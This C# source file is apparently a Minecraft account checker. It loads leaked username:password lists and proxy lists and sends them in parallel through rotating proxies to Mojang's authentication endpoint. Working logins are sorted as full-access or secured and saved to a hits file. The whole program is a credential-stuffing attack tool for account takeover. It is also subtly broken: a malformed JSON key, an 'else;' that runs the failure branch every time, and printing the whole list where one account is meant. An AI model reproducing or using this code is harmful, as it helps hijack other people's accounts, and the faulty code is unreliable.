Error

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using xNet;
using Newtonsoft.Json;
using System.Threading;

namespace Checker
{
    class program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Threads :");
            int threads = int.Parse(Console.ReadLine());

            Console.WriteLine("Timeout :");
            int timeout = int.Parse(Console.ReadLine());

            Console.WriteLine("Proxy Type :");
            string proxiestype = Console.ReadLine().ToUpper();

            Console.Clear();


            List<string> accounts = File.ReadAllLines("accounts.txt").ToList();
            List<string> proxy = File.ReadAllLines("proxy.txt").ToList();

            Console.Title = ("FOF Minecraft Checker");

            int checkeds = 0;
            int Hits = 0;
            int dead = 0;

            int sfa = 0;
            int nfa = 0;

            Task.Factory.StartNew(() =>
            {
                while (true)
                {
                    Console.Title = "FOF Checker v1 | " + checkeds + " Checked : " + dead + " Bad : " + Hits + " Good : " + nfa + "NFA :" + sfa + "SFA :";
                    Thread.Sleep(500);

                }
            });

            Parallel.ForEach(accounts, new ParallelOptions { MaxDegreeOfParallelism = threads }, account =>
            {
                if (account.Split(':').Length == 2)
                {
                    string username = account.Split(':')[0];
                    string password = account.Split(':')[1];


                request: try
                    {

                        using (HttpRequest req = new HttpRequest())
                        {
                            req.Proxy = proxy[new Random().Next(proxy.Count)];

                            req.Type = proxiestype;
                            req.ConnectTimeout = timeout;
                            req.KeepAliveTimeout = timeout;
                            req.ReadWriteTimeout = timeout;

                            req.AddHeader("Content-Type", "application/json");

                            string response = req.Start(HttpMethod.POST, new Uri("https://authserver.mojang.com/authenticate"), new BytesContent(Encoding.UTF8.GetBytes("{\"agent}\":{\"name\":\"Minecraft\",\"version\":1},\"username\":\"" + username + "\",\"password\":\"" + password + "\",\"requestUser\":true}"))).ToString();
                            if (response.Contains("selectedProfile"))
                            {
                                dynamic json = JsonConvert.DeserializeObject(response);

                                bool secured = (bool)json.user.secured;

                                if (secured == true)
                                {
                                    Console.WriteLine("GOOD : " + accounts + " (NFA)");
                                    Interlocked.Increment(ref nfa);
                                }
                                if (secured == false)
                                {
                                    Console.WriteLine("GOOD : " + accounts + " (SFA)");
                                    Interlocked.Increment(ref sfa);
                                }

                            write: try
                                {
                                    using (StreamWriter sw = new StreamWriter("hits.txt", false))
                                    {

                                        if (secured == true)
                                        {
                                            sw.WriteLine(accounts + "(NFA)");
                                        }
                                        if (secured == false)
                                        {
                                            sw.WriteLine(accounts + "(SFA)");
                                        }

                                    }

                                }
                                catch
                                {
                                    Thread.Sleep(new Random().Next(25, 75));
                                    goto write;
                                }

                                Interlocked.Increment(ref Hits);


                            }
                            else;
                            {
                                Console.WriteLine("BAD :" + accounts);
                                Interlocked.Increment(ref dead);
                            }

                            Interlocked.Increment(ref checkeds);

                        }

                    }
                    catch
                    {
                        goto request;
                    }
                }

            });

            Console.WriteLine(Environment.NewLine);
            Console.WriteLine(checkeds + " Checked");
            Console.WriteLine(dead + " Bad");
            Console.WriteLine("");
            Console.WriteLine(Hits + " Hits");
            Console.WriteLine("");
            Console.WriteLine(sfa + " SFA");
            Console.WriteLine(nfa + " NFA");

            Console.WriteLine("Checked Successfully!");

            Thread.Sleep(-1);





        }
    }
}